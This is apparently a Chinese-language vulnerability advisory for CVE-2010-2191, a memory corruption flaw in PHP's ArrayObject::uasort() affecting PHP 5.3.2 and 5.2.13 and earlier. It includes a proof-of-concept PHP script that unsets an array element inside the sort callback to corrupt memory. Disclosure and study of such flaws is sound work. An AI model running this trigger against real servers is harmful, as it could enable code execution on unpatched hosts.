PHP ArrayObject::uasort()中断处理内存破坏漏洞


发布日期:2010-05-31
更新日期:2010-06-28

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2010-2191

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ArrayObject::uasort()方式没有正确地处理中断情况,可能触发内存破坏,导致执行任意代码。

<*来源:Stefan Esser (s.esser@ematters.de)
 
  链接:http://www.php-security.org/2010/05/31/mops-2010-055-php-arrayobjectuasort-interruption-memory-corruption-vulnerability/index.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
error_Reporting(E_ALL);
    $first = true;
    function uc($a,$b)
    {
        global $first;
      
        /* Detect 32 vs 64 bit */
        $i = 0x7fffffff;
        $i++;
        if (is_float($i)) {
            $y = str_repeat("A", 39);
        } else {
            $y = str_repeat("A", 67);      
        }    
        if ($first) {
        unset($GLOBALS['arr']["B"]);
        $GLOBALS['_____________________________________________________________________________a'] = 1;
        $GLOBALS['_____________________________________________________________________________b'] = 2;
        $GLOBALS['_____________________________________________________________________________x'] .= $y;
        }
        $first=false;
    }

    $arr = new ArrayObject(array("A" => str_repeat("A", 164),"B" => str_repeat("B", 164), "C" => str_repeat("C", 164), "D" => str_repeat("D", 164)));
   
    $arr->uasort("uc");
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

相关内容